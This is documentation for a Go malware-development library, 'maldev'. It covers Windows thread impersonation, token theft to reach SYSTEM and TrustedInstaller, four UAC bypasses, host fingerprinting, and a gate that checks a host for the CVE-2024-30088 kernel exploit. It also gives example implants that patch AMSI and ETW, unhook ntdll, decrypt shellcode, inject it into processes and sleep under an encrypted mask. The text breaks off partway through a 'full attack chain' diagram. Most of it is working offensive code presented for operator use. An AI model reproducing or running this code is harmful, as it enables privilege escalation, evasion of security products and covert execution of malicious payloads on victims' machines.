Temporarily wearing someone else's uniform for a specific task. You log in as another user (with their credentials), impersonate their identity on a locked OS thread, do the work, then call RevertToSelf() to become yourself again. The impersonation is scoped to a single thread and automatically cleaned up.


How It Works

Impersonation Flow

sequenceDiagram
    participant Thread as "Locked OS Thread"
    participant Win as "Windows API"
    participant Callback as "callbackFunc()"

    Thread->>Thread: runtime.LockOSThread()
    Note over Thread: Thread pinned to OS thread

    Thread->>Win: LogonUserW(user, domain, password)
    Win-->>Thread: Token handle

    Thread->>Win: EnableAllPrivileges(token)
    Thread->>Win: ImpersonateLoggedOnUser(token)
    Note over Thread: Thread now runs as<br>the impersonated user

    Thread->>Callback: callbackFunc()
    Note over Callback: All operations use<br>impersonated identity

    Callback-->>Thread: return

    Thread->>Win: RevertToSelf()
    Note over Thread: Thread identity restored

    Thread->>Thread: runtime.UnlockOSThread()
    Thread->>Win: token.Close()

Why LockOSThread is Required

flowchart TD
    subgraph "Without LockOSThread (BROKEN)"
        A1["goroutine calls\nImpersonateLoggedOnUser"] --> A2["Go scheduler moves\ngoroutine to OS Thread 2"]
        A2 --> A3["OS Thread 1 still impersonating\nOS Thread 2 is NOT impersonating"]
        A3 --> A4["Operations use WRONG identity"]
    end

    subgraph "With LockOSThread (CORRECT)"
        B1["goroutine calls\nruntime.LockOSThread()"] --> B2["goroutine calls\nImpersonateLoggedOnUser"]
        B2 --> B3["Go scheduler CANNOT\nmove this goroutine"]
        B3 --> B4["All operations on\nimpersonated OS thread"]
        B4 --> B5["RevertToSelf()"]
        B5 --> B6["runtime.UnlockOSThread()"]
    end

    style A4 fill:#f66,color:#fff
    style B4 fill:#4a9,color:#fff

Usage

Basic Thread Impersonation

import "github.com/oioio-space/maldev/win/impersonate"

err := impersonate.ImpersonateThread(
    false,           // not domain-joined
    ".",             // local machine
    "admin",         // username
    "Password123!",  // password
    func() error {
        // Everything in this callback runs as "admin"
        user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
        fmt.Printf("Running as: %s\\%s\n", domain, user)

        // Perform privileged operations here
        return nil
    },
)

Domain Impersonation

err := impersonate.ImpersonateThread(
    true,                // domain-joined
    "CORP",              // domain name
    "svc_backup",        // domain user
    "BackupP@ss2024!",   // password
    func() error {
        // Running as CORP\svc_backup
        // Access network shares, domain resources, etc.
        return nil
    },
)

Low-Level: LogonUserW + ImpersonateLoggedOnUser

import (
    "runtime"
    "github.com/oioio-space/maldev/win/impersonate"
    "github.com/oioio-space/maldev/win/token"
    "golang.org/x/sys/windows"
)

runtime.LockOSThread()
defer runtime.UnlockOSThread()

// Log in as another user
t, err := impersonate.LogonUserW(
    "admin", ".", "Password123!",
    impersonate.LOGON32_LOGON_INTERACTIVE,
    impersonate.LOGON32_PROVIDER_DEFAULT,
)
if err != nil {
    log.Fatal(err)
}

wt := token.New(t, token.Impersonation)
defer wt.Close()

// Enable privileges on the token
wt.EnableAllPrivileges()

// Impersonate on this thread
impersonate.ImpersonateLoggedOnUser(wt.Token())
defer windows.RevertToSelf()

// Perform actions as the impersonated user
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Impersonating: %s\\%s\n", domain, user)

Combined Example: Impersonate + Access Protected Resource

package main

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/win/impersonate"
)

func main() {
    // Check current identity
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Before: %s\\%s\n", domain, user)

    // Impersonate a service account to read a protected file
    err := impersonate.ImpersonateThread(
        true,              // domain account
        "CORP",
        "svc_fileserver",
        "FileServ!2024",
        func() error {
            // Running as CORP\svc_fileserver
            user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
            fmt.Printf("During: %s\\%s\n", domain, user)

            // Read a file only accessible to svc_fileserver
            data, err := os.ReadFile(`\\fileserver\share$\sensitive.dat`)
            if err != nil {
                return err
            }
            fmt.Printf("Read %d bytes from protected share\n", len(data))
            return nil
        },
    )
    if err != nil {
        fmt.Println("Impersonation failed:", err)
    }

    // Back to original identity
    user, domain, _ = impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("After: %s\\%s\n", domain, user)
}

Advantages & Limitations

Advantages

  • Scoped impersonation: ImpersonateThread handles LockOSThread + RevertToSelf automatically
  • Privilege escalation: EnableAllPrivileges called on the token before impersonation
  • Domain support: Works with both local and domain accounts
  • errgroup integration: Uses golang.org/x/sync/errgroup for clean error propagation
  • Thread safety: runtime.LockOSThread() ensures impersonation stays on the correct OS thread

Limitations

  • Requires credentials: Needs plaintext username and password (not a token)
  • Logon type limitations: LOGON32_LOGON_INTERACTIVE requires "Allow log on locally" right
  • Network logon restrictions: Local accounts cannot access network resources via type 2 logon
  • Detectable: LogonUserW creates logon events (Event ID 4624) in the Security log
  • Single thread: Only the locked OS thread is impersonated -- other goroutines run as the original user

Composable Elevation

The impersonate package provides composable elevation primitives that chain together: ImpersonateByPID is the building block, GetSystem uses it to reach SYSTEM via winlogon.exe, and GetTrustedInstaller composes GetSystem with the TrustedInstaller service to reach the highest privilege level.

All three follow the callback pattern -- the elevated identity is scoped to the callback and automatically reverted when it returns.

ImpersonateByPID

Steal and impersonate the token of any process by PID. Requires SeDebugPrivilege for cross-session processes.

import "github.com/oioio-space/maldev/win/impersonate"

// Impersonate the token of PID 1234
err := impersonate.ImpersonateByPID(1234, func() error {
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\\%s\n", domain, user)
    return nil
})

GetSystem

Elevate to NT AUTHORITY\SYSTEM by stealing the winlogon.exe token. Requires admin + SeDebugPrivilege.

err := impersonate.GetSystem(func() error {
    user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\\%s\n", domain, user)
    // NT AUTHORITY\SYSTEM — full kernel-level access
    return nil
})

GetTrustedInstaller

Elevate to NT SERVICE\TrustedInstaller -- the highest privilege level on Windows. Internally composes GetSystem (to open the TI service process) with ImpersonateByPID (to steal the TI token). Requires admin + SeDebugPrivilege.

err := impersonate.GetTrustedInstaller(func() error {
    user, _, _ := impersonate.ThreadEffectiveTokenOwner()
    fmt.Printf("Running as: %s\n", user) // TrustedInstaller

    // Modify protected system files, registry keys, etc.
    return nil
})

Composition Example

// Chain: admin -> SYSTEM -> TrustedInstaller -> back to admin
// All within a single function call
err := impersonate.GetTrustedInstaller(func() error {
    // Delete a protected system file
    return os.Remove(`C:\Windows\System32\protected.dll`)
})
// Thread has reverted to original identity here

API Reference

Functions

// ImpersonateThread runs callbackFunc under alternate credentials on a locked OS thread.
func ImpersonateThread(isInDomain bool, domain, username, password string, callbackFunc func() error) error

// ImpersonateByPID impersonates the given process and runs fn under its identity.
func ImpersonateByPID(pid uint32, fn func() error) error

// GetSystem runs fn under NT AUTHORITY\SYSTEM context (via winlogon.exe token).
func GetSystem(fn func() error) error

// GetTrustedInstaller runs fn under NT SERVICE\TrustedInstaller context.
func GetTrustedInstaller(fn func() error) error

// LogonUserW logs in a user and returns a token handle.
func LogonUserW(username, domain, password string, logonType LogonType, logonProvider LogonProvider) (windows.Token, error)

// ImpersonateLoggedOnUser impersonates a token on the current thread.
func ImpersonateLoggedOnUser(t windows.Token) error

// ThreadEffectiveTokenOwner returns the user/domain of the current thread's effective token.
func ThreadEffectiveTokenOwner() (user string, domain string, err error)

Logon Types

const (
    LOGON32_LOGON_INTERACTIVE     LogonType = 2
    LOGON32_LOGON_NETWORK         LogonType = 3
    LOGON32_LOGON_BATCH           LogonType = 4
    LOGON32_LOGON_SERVICE         LogonType = 5
    LOGON32_LOGON_NEW_CREDENTIALS LogonType = 9
)

See also

Privilege Escalation

<- Back to Tokens Overview

MITRE ATT&CK: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control D3FEND: D3-UAP - User Account Profiling


Primer

Even if you have an administrator account on Windows, your processes run with limited privileges by default. User Account Control (UAC) prevents automatic elevation -- you need to explicitly "Run as administrator" for each program.

Convincing the system you are the boss so you can access everything. Privilege escalation bypasses UAC by exploiting auto-elevating Windows programs (like fodhelper.exe) that run as high-integrity without prompting. You hijack their behavior to execute your code with elevated privileges.


How It Works

Escalation Methods

flowchart TD
    START["Need elevated\nprivileges"] --> Q1{"Have user\ncredentials?"}

    Q1 -->|Yes| Q2{"Need separate\nprocess?"}
    Q2 -->|"Yes (exec.Cmd)"| EXECAS["ExecAs()\nLogonUserW + SysProcAttr.Token"]
    Q2 -->|"Yes (CreateProcess)"| LOGON["CreateProcessWithLogon()\nCreateProcessWithLogonW"]
    Q2 -->|"No (same process)"| IMP["ImpersonateThread()\n(see impersonation.md)"]

    Q1 -->|No| Q3{"UAC prompt\nacceptable?"}
    Q3 -->|Yes| RUNAS["ShellExecuteRunAs()\n'runas' verb + UAC dialog"]
    Q3 -->|No| Q4{"Which UAC\nbypass?"}

    Q4 --> FOD["FODHelper()\nWin10+ CurVer hijack"]
    Q4 --> SLUI["SLUI()\nexefile handler hijack"]
    Q4 --> SILENT["SilentCleanup()\n%windir% env override"]
    Q4 --> EVT["EventVwr()\nmscfile handler hijack"]

    style EXECAS fill:#4a9,color:#fff
    style LOGON fill:#49a,color:#fff
    style RUNAS fill:#a94,color:#fff
    style FOD fill:#94a,color:#fff
    style SLUI fill:#94a,color:#fff
    style SILENT fill:#94a,color:#fff
    style EVT fill:#94a,color:#fff

UAC Bypass Mechanism (FODHelper Example)

sequenceDiagram
    participant Implant as "Implant (Medium IL)"
    participant Reg as "Registry (HKCU)"
    participant Fod as "fodhelper.exe (Auto-elevate)"
    participant Payload as "Payload (High IL)"

    Implant->>Reg: Create key:<br>HKCU\Software\Classes\{random}\shell\open\command
    Implant->>Reg: Set default value = "C:\payload.exe"
    Implant->>Reg: Create key:<br>HKCU\Software\Classes\ms-settings\CurVer
    Implant->>Reg: Set default value = "{random}"

    Implant->>Fod: cmd.exe /C fodhelper.exe
    Note over Fod: fodhelper.exe auto-elevates<br>(no UAC prompt)
    Fod->>Reg: Read ms-settings handler<br>CurVer -> {random}
    Reg-->>Fod: shell\open\command = "C:\payload.exe"
    Fod->>Payload: Launch payload as High IL

    Implant->>Reg: Clean up registry keys

Usage

ExecAs: Run a Process as Another User

import (
    "context"
    "github.com/oioio-space/maldev/win/privilege"
)

// Run cmd.exe as another user (returns exec.Cmd for lifetime management)
cmd, err := privilege.ExecAs(
    context.Background(),
    false,           // not domain-joined
    ".",             // local machine
    "admin",         // username
    "Password123!",  // password
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)
if err != nil {
    log.Fatal(err)
}

// IMPORTANT: Wait to avoid leaking the child process handle
cmd.Wait()

CreateProcessWithLogon

import "github.com/oioio-space/maldev/win/privilege"

err := privilege.CreateProcessWithLogon(
    "CORP",          // domain
    "admin",         // username
    "Password123!",  // password
    `C:\`,           // working directory
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)

ShellExecuteRunAs (UAC Prompt)

import "github.com/oioio-space/maldev/win/privilege"

// Prompts a UAC dialog for elevation
err := privilege.ShellExecuteRunAs(
    `C:\Windows\System32\cmd.exe`,
    `C:\`,
    "/C", "whoami /priv",
)

UAC Bypass: FODHelper

import "github.com/oioio-space/maldev/privesc/uac"

// Silently elevate via fodhelper.exe (Win10+, no UAC prompt)
err := uac.FODHelper(`C:\implant.exe`)

UAC Bypass: SilentCleanup

// Silently elevate via SilentCleanup scheduled task
err := uac.SilentCleanup(`C:\implant.exe`)

UAC Bypass: EventVwr

// Silently elevate via eventvwr.exe mscfile handler
err := uac.EventVwr(`C:\implant.exe`)

UAC Bypass: EventVwr with Alternate Credentials

// Elevate via eventvwr.exe using another user's credentials
err := uac.EventVwrLogon("CORP", "admin", "Password123!", `C:\implant.exe`)

Check Current Privileges

import "github.com/oioio-space/maldev/win/privilege"

admin, elevated, err := privilege.IsAdmin()
fmt.Printf("Admin group: %v, Elevated: %v\n", admin, elevated)

isMember, _ := privilege.IsAdminGroupMember()
fmt.Printf("Admin group member: %v\n", isMember)

Combined Example: Escalate + Inject

package main

import (
    "fmt"
    "log"
    "os"

    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/privesc/uac"
    "github.com/oioio-space/maldev/win/privilege"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // Check if already elevated
    _, elevated, _ := privilege.IsAdmin()
    if !elevated {
        // Self-elevate via FODHelper UAC bypass
        exePath, _ := os.Executable()
        if err := uac.FODHelper(exePath); err != nil {
            fmt.Println("UAC bypass failed, trying SLUI...")
            _ = uac.SLUI(exePath)
        }
        return // original process exits, elevated copy continues
    }

    // Now running elevated -- perform injection via indirect syscalls.
    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil { log.Fatal(err) }

    shellcode := []byte{/* ... */}
    if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}

Advantages & Limitations

Advantages

  • Four UAC bypass methods: FODHelper, SLUI, SilentCleanup, EventVwr cover Win10/Win11
  • Registry cleanup: All UAC bypass methods defer-delete their registry keys
  • Hidden windows: All spawned processes use SysProcAttr{HideWindow: true}
  • ExecAs returns exec.Cmd: Caller manages child process lifetime
  • Domain + local support: ExecAs adapts logon type for domain vs. local accounts

Limitations

  • UAC bypasses are well-known: EDR products monitor registry keys used by these techniques
  • Admin group required: UAC bypass only works for users already in the Administrators group
  • Credential exposure: ExecAs and CreateProcessWithLogon require plaintext passwords
  • EventVwr timing: 2-second sleep for eventvwr to read registry -- may fail under heavy load
  • No PPID spoofing: Spawned processes show the real parent PID

API Reference

win/privilege

func IsAdmin() (admin bool, elevated bool, err error)
func IsAdminGroupMember() (bool, error)
func ExecAs(ctx context.Context, isInDomain bool, domain, username, password, path string, args ...string) (*exec.Cmd, error)
func CreateProcessWithLogon(domain, username, password, wd, path string, args ...string) error
func ShellExecuteRunAs(path, wd string, args ...string) error

privesc/uac

func FODHelper(path string) error
func SLUI(path string) error
func SilentCleanup(path string) error
func EventVwr(path string) error
func EventVwrLogon(domain, user, password, path string) error

See also

Windows-platform primitives (win/*)

← maldev README · docs/index

The win/* package tree is Layer 1: low-level Windows primitives every higher-layer technique builds on. There is no single "win technique" — the area is a foundation for the others.

flowchart TB
    subgraph imports [Imports & syscalls]
        API[win/api<br>PEB walk + ROR13 hash]
        NTAPI[win/ntapi<br>typed Nt* wrappers]
        SYSCALL[win/syscall<br>Direct/Indirect SSN]
    end
    subgraph identity [Token & identity]
        TOK[win/token<br>steal · privileges · UBR]
        IMP[win/impersonate<br>thread context swap]
        PRIV[win/privilege<br>IsAdmin · ExecAs]
    end
    subgraph fingerprint [Host fingerprint]
        VER[win/version<br>RtlGetVersion + UBR]
        DOM[win/domain<br>NetGetJoinInformation]
    end
    API --> NTAPI
    API --> SYSCALL
    TOK --> IMP
    IMP --> PRIV
    VER --> GATE{technique<br>compatibility}
    DOM --> GATE

Decision tree

Operator questionPackagePages
"Resolve a Windows API without a string in my binary."win/apiapi-hashing
"Call NtXxx through ntdll (skip kernel32 hooks)."win/ntapisyscalls/README
"Call NtXxx skipping ALL userland hooks."win/syscalldirect-indirect, ssn-resolvers
"Steal a token from PID X."win/tokentoken-theft
"Run a callback as user@domain / SYSTEM / TI."win/impersonateimpersonation
"Am I admin / elevated right now? Spawn as a different user?"win/privilegeprivilege-escalation
"What Windows build am I on? Is it patched for CVE-X?"win/versionversion
"Is this host workgroup or AD-joined?"win/domaindomain

Per-package pages

Pages owned by this directory:

  • domain.mdNetGetJoinInformation host fingerprint.
  • version.mdRtlGetVersion + UBR + CVE-state probe.

Pages owned by sibling directories:

MITRE ATT&CK rollup

IDTechniqueOwners
T1106Native APIwin/api, win/ntapi, win/syscall
T1027Obfuscated Files or Informationwin/api (hash imports)
T1027.007Dynamic API Resolutionwin/api, win/syscall (gates)
T1134Access Token Manipulationwin/token, win/impersonate, win/privilege
T1134.001Token Impersonation/Theftwin/token, win/impersonate
T1134.002Create Process with Tokenwin/privilege
T1078Valid Accountswin/privilege (alt-creds spawn)
T1082System Information Discoverywin/version, win/domain
T1016System Network Configuration Discoverywin/domain (paired with recon/network)

See also

Domain-membership fingerprint

← win techniques · docs/index

TL;DR

domain.Name() returns the local host's NetBIOS domain or workgroup name plus a [JoinStatus] enum. One NetGetJoinInformation round-trip — no LDAP, no DC contact, no privilege check. Use it to gate domain-targeted post-exploitation flows.

[!NOTE] NetBIOS name only. For the FQDN, query LDAP via recon/network or read the Domain.UserName from a Kerberos PAC.

Primer

Two questions a post-ex chain needs answered before lateral movement is worth attempting:

  1. Is this host part of an Active Directory domain? (Otherwise AD-targeted credentials and DC enumeration are dead-ends.)
  2. What is the domain name to seed those queries with?

NetGetJoinInformation answers both in a single call to the local LSA over RPC — no network traffic leaves the host, no admin token required. Mirror of what whoami /upn and dsregcmd /status do.

How it works

sequenceDiagram
    Caller->>+netapi32: NetGetJoinInformation(NULL, &name, &status)
    netapi32->>+LSA: query SAM domain info
    LSA-->>-netapi32: domain/workgroup name + status
    netapi32-->>-Caller: NetSetupDomainName / NetSetupWorkgroupName / ...
    Caller->>netapi32: NetApiBufferFree(name)

Implementation:

  1. Call syscall.NetGetJoinInformation (golang.org/x/sys/windows wrapping netapi32!NetGetJoinInformation).
  2. Convert the returned *uint16 to Go string.
  3. Free the netapi-owned buffer with NetApiBufferFree.
  4. Return (name, JoinStatus, error).

API Reference

type JoinStatus uint32

const (
    StatusUnknown   JoinStatus = 0 // NetSetupUnknownStatus
    StatusUnjoined  JoinStatus = 1 // NetSetupUnjoined
    StatusWorkgroup JoinStatus = 2 // NetSetupWorkgroupName
    StatusDomain    JoinStatus = 3 // NetSetupDomainName
)

func (s JoinStatus) String() string
func Name() (string, JoinStatus, error)

Name() (string, JoinStatus, error)

Parameters: none.

Returns:

  • name — NetBIOS domain or workgroup name. Empty when status is StatusUnknown or StatusUnjoined.
  • status — one of the four Status* constants.
  • error — surface only when the netapi32 call itself fails (e.g., RPC_S_SERVER_UNAVAILABLE on stripped-down OS images). On normal Windows hosts this never errors.

Side effects: none (the netapi32-allocated buffer is freed internally before return).

OPSEC: silent. NetGetJoinInformation is in every default Windows binary's import resolution path; user-mode RPC to local LSA generates no Sysmon event ID.

Examples

Simple — bail on workgroup

name, status, err := domain.Name()
if err != nil || status != domain.StatusDomain {
    return // host is not domain-joined; abort domain-targeted ops
}
log.Printf("operating in domain %q", name)

Composed — gate kerberoasting

import (
    "github.com/oioio-space/maldev/win/domain"
    "github.com/oioio-space/maldev/credentials/kerberoast" // hypothetical
)

func TryKerberoast(targetSPN string) error {
    _, status, _ := domain.Name()
    if status != domain.StatusDomain {
        return errors.New("kerberoast: not domain-joined")
    }
    return kerberoast.Roast(targetSPN)
}

Advanced — combine with version + sandbox gates

import (
    "github.com/oioio-space/maldev/win/domain"
    "github.com/oioio-space/maldev/win/version"
    "github.com/oioio-space/maldev/recon/sandbox"
)

func ShouldExpand() bool {
    if sandbox.IsLikely() {
        return false // bail in analysis envs
    }
    if !version.AtLeast(version.WINDOWS_10_1809) {
        return false // tooling assumes 1809+ APIs
    }
    _, status, _ := domain.Name()
    return status == domain.StatusDomain
}

OPSEC & Detection

VectorVisibilityMitigation
NetGetJoinInformation RPCNot logged by defaultNone needed
Process integrityAny user can callNone
Network trafficLocal LSA only — no DC contact

This call is invisible to Sysmon, ETW Microsoft-Windows-Security provider, and AMSI. The detection floor is "did the implant exist" — this primitive adds no incremental signal.

MITRE ATT&CK

  • T1082 (System Information Discovery) — domain-membership probe is a host-fingerprint primitive.
  • T1016 (System Network Configuration Discovery) — when paired with recon/network for DC discovery.

Limitations

  • NetBIOS name only — for FQDN use LDAP search ((objectClass=domain)) via recon/network.
  • Cached at machine boot — does not reflect a join/unjoin that has not been followed by reboot.
  • No domain-trust enumeration — single-domain answer.

See also

Windows version & build probe

← win techniques · docs/index

TL;DR

version.Current() returns the real running Windows version including the UBR (Update Build Revision — the patch number inside a build) by reading RtlGetVersion (kernel-side, manifest shim free) plus HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion. Used to gate technique selection — many syscall SSN tables, UAC shims, and kernel exploits are build-specific.

[!IMPORTANT] GetVersionEx returns the manifest-declared compatibility target, not the real OS version. On any process without an explicit manifest declaring Win10+ support, GetVersionEx reports 6.2 (Win 8). Always use version.Current() instead.

Primer

Windows version is more nuanced than Major.Minor.Build:

  • Major.Minor.Build — kernel branch (e.g., 10.0.19045 = Win10 22H2).
  • UBR — monthly patch level inside a build (19045.5189 = January 2025 cumulative).
  • Edition — Pro / Enterprise / Server. Affects feature gates (Server-only WTSEnumerateSessions session 0).
  • HVCI / VBS posture — gates BYOVD: HVCI-on hosts refuse the vulnerable-driver block-list before driver load.

For maldev technique selection the build + UBR are usually enough. Token-stealing techniques don't change between minor builds, but syscall SSN tables do, and kernel exploits like CVE-2024-30088 are gated on a UBR cut-off.

How it works

flowchart LR
    Caller -->|RtlGetVersion| Ntdll
    Caller -->|RegOpenKeyEx| Reg["HKLM\SOFTWARE\Microsoft\\Windows NT\CurrentVersion"]
    Ntdll --> V["OsVersionInfoEx{Major, Minor, Build, ProductType}"]
    Reg --> R["UBR (REG_DWORD)"]
    V --> Out["Version{Major, Minor, Build, UBR, Edition}"]
    R --> Out

Implementation:

  1. version.Current() calls RtlGetVersion directly via golang.org/x/sys/windows. The function reads KUSER_SHARED_DATA.NtProductType / NtMajorVersion / NtMinorVersion / NtBuildNumberno manifest shim.
  2. version.readUBR() opens HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion and reads the UBR REG_DWORD value.
  3. version.Windows() returns an [Info] struct combining both, plus a human-readable Edition string ("Windows 10 22H2", "Windows Server 2022").
  4. version.AtLeast(target *Version) is the comparison operator used by callers.

API Reference

type Version windows.OsVersionInfoEx

func Current() *Version
func (wv *Version) String() string
func (wv *Version) IsLower(v *Version) bool
func (wv *Version) IsEqual(v *Version) bool
func (wv *Version) IsAtLeast(v *Version) bool
func AtLeast(v *Version) bool

type Info struct {
    Major      uint32
    Minor      uint32
    Build      uint32
    Revision   uint32 // UBR — patch number inside the build
    Vulnerable bool   // populated by CheckVersion / CVE checkers
    Edition    string // "Windows 10 22H2" — set by CVE checkers
}

func Windows() (*Info, error)
func CVE202430088() (*Info, error)

Constants: WINDOWS_7, WINDOWS_8, WINDOWS_8_1, WINDOWS_10_1507WINDOWS_10_22H2, WINDOWS_11_21H2WINDOWS_11_24H2, WINDOWS_SERVER_2008 through WINDOWS_SERVER_2022_23H2.

Current() *Version

Returns: *Version populated from RtlGetVersion. Never nil — on impossibly old kernels falls back to a zero Version{}.

AtLeast(target *Version) bool

Compare Major.Minor.Build (UBR not consulted — use the typed IsAtLeast for UBR-aware comparison or call Windows() directly).

CVE202430088() (*Info, error)

Returns: *Info with Vulnerable=true when the running build is in the CVE-2024-30088 window (Win10 1507–22H2, Win11 21H2–23H2, Server 2016/2019/2022/2022 23H2 prior to June 2024 patch).

Examples

Simple — gate on Win10 1809+

v := version.Current()
if !version.AtLeast(version.WINDOWS_10_1809) {
    return errors.New("technique requires Win10 1809 or later")
}
log.Printf("running on %s build %d.%d", v, v.BuildNumber, /* ubr */ 0)

Composed — UBR-aware patch gate

info, err := version.Windows()
if err != nil {
    return err
}
const minPatchUBR = 5189 // 22H2 January 2025 CU
if info.Build == 19045 && info.Revision < minPatchUBR {
    log.Println("host below required patch level")
}

Advanced — pre-flight a kernel exploit

info, err := version.CVE202430088()
if err != nil {
    return err
}
if !info.Vulnerable {
    return errors.New("host patched")
}
log.Printf("vulnerable: %s build %d.%d", info.Edition, info.Build, info.Revision)
return cve202430088.Run(ctx)

OPSEC & Detection

VectorVisibilityMitigation
RtlGetVersion ntdll callNot loggedNone needed
Registry read of CurrentVersionNot logged at default auditNone
Process behaviourIdentical to winver.exe

RtlGetVersion and the CurrentVersion registry key are read by practically every Windows program at startup. No incremental signal.

MITRE ATT&CK

  • T1082 (System Information Discovery)

Limitations

  • Edition string is hard-coded against a known build → SKU table. New SKUs (e.g., Server vNext) appear as "unknown" until the table is bumped.
  • UBR read requires HKLM read access — rare to be denied in user-mode, but possible on hardened OOBE images.
  • No HVCI / VBS detection — call recon/sandbox helpers if VBS posture matters for technique selection.

See also

Example: Basic Implant

← Back to README

A minimal implant that decrypts shellcode, applies evasion, and executes.

flowchart TD
    A[Start] --> B[Apply evasion<br>AMSI + ETW + Unhook]
    B --> C[Decrypt payload<br>AES-256-GCM]
    C --> D[Self-inject<br>CreateThread]
    D --> E[Sleep mask<br>Encrypted idle]
    E --> D

Code

package main

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Encrypted payload (generated at build time)
var encPayload = []byte{/* ... */}
var aesKey = []byte{/* 32-byte key */}

func main() {
    // 1. Create a Caller for stealthy syscalls
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))

    // 2. Disable defenses
    evasion.ApplyAll([]evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),
    }, caller)

    // 3. Decrypt shellcode
    shellcode, err := crypto.DecryptAESGCM(aesKey, encPayload)
    if err != nil {
        return
    }

    // 4. Self-inject via CreateThread
    cfg := &inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    }
    injector, _ := inject.NewWindowsInjector(cfg)
    injector.Inject(shellcode)

    // 5. Encrypted sleep loop (beacon behavior)
    mask := sleepmask.New(sleepmask.Region{
        Addr: 0, // set to shellcode address
        Size: uintptr(len(shellcode)),
    })
    ctx := context.Background()
    for {
        mask.Sleep(ctx, 30*time.Second)
    }
}

What This Example Demonstrates

StepTechniqueWhy
CallerIndirect syscalls + HashGateAll NT calls bypass EDR hooks, no function names in binary
AMSIPrologue patchingDisable script/buffer scanning
ETWEvent writer patchingBlind the telemetry system
UnhookFull .text replacementRemove all ntdll hooks at once
AES-GCMAuthenticated encryptionShellcode encrypted at rest
CreateThreadSelf-injectionSimplest local execution
Sleep maskXOR + permission cyclingDefeat memory scanners during idle

Build

# OPSEC release
make release BINARY=implant.exe CMD=.

Example: Evasive Remote Injection

← Back to README

Inject shellcode into a remote process using multiple OPSEC layers.

flowchart TD
    A[Start] --> B[Clear HW breakpoints<br>Defeat CrowdStrike DR monitoring]
    B --> C[Apply evasion<br>AMSI + ETW + Unhook]
    C --> D[Decrypt payload<br>ChaCha20-Poly1305]
    D --> E{Choose injection<br>based on target}
    E -->|High stealth| F[Section mapping<br>No WriteProcessMemory]
    E -->|File-backed| G[Module stomping<br>Trusted memory region]
    E -->|No new thread| H[Callback execution<br>EnumWindows abuse]
    F --> I[Cleanup memory]
    G --> I
    H --> I

Code: Section Mapping with Full Evasion Chain

package main

import (
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/recon/hwbp"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

var encPayload = []byte{/* ... */}
var key = []byte{/* 32-byte key */}

func main() {
    // 1. Clear hardware breakpoints (defeats CrowdStrike-style DR monitoring)
    hwbp.ClearAll()

    // 2. Create indirect syscall Caller with API hashing (zero strings)
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))

    // 3. Apply evasion chain
    evasion.ApplyAll([]evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),
    }, caller)

    // 4. Decrypt
    shellcode, _ := crypto.DecryptChaCha20(key, encPayload)

    // 5. Inject via section mapping (no WriteProcessMemory)
    targetPID := 1234 // e.g., found via process/enum
    inject.SectionMapInject(targetPID, shellcode, caller)
}

Alternative: Module Stomping (File-Backed Memory)

// Shellcode lives in a legitimate DLL's .text section
// Memory scanners see file-backed image, not suspicious allocation
addr, _ := inject.ModuleStomp("msftedit.dll", shellcode)

Alternative: Callback Execution (Zero Thread Creation)

// Execute via EnumWindows callback — no CreateThread, no APC
// Runs on the current thread, invisible to thread-creation monitoring
inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Technique Comparison

TechniqueWriteProcessMemoryNew ThreadFile-BackedDetection Level
CreateRemoteThreadYesYesNoHigh
Section MappingNoYesNoMedium
Module StompingYesNo (self)YesLow
Callback ExecutionNo (self)NoNoLow
Thread PoolNo (self)NoNoLow
Phantom DLLYesYesYesMedium

Example: Full Attack Chain

← Back to README

A complete implant lifecycle: reconnaissance → evasion → injection → persistence → cleanup.

flowchart TD
    A[1. Recon] --> B[2. Evasion]
    B --> C[3. Injection]
    C --> D[4. C2 Communication]
    D --> E[5. Post-Exploitation]
    E --> F[6. Cleanup]

    subgraph "1. Recon"
        A1[Check Windows version]
        A2[Detect VM/sandbox]
        A3[Find target process]
    end

    subgraph "2. Evasion"
        B1[Clear HW breakpoints]
        B2[Unhook ntdll]
        B3[Patch AMSI + ETW]
    end

    subgraph "3. Injection"
        C1[Decrypt shellcode]
        C2[Module stomp or<br>section map inject]
    end

    subgraph "4. C2"
        D1[uTLS connection<br>Chrome JA3 fingerprint]
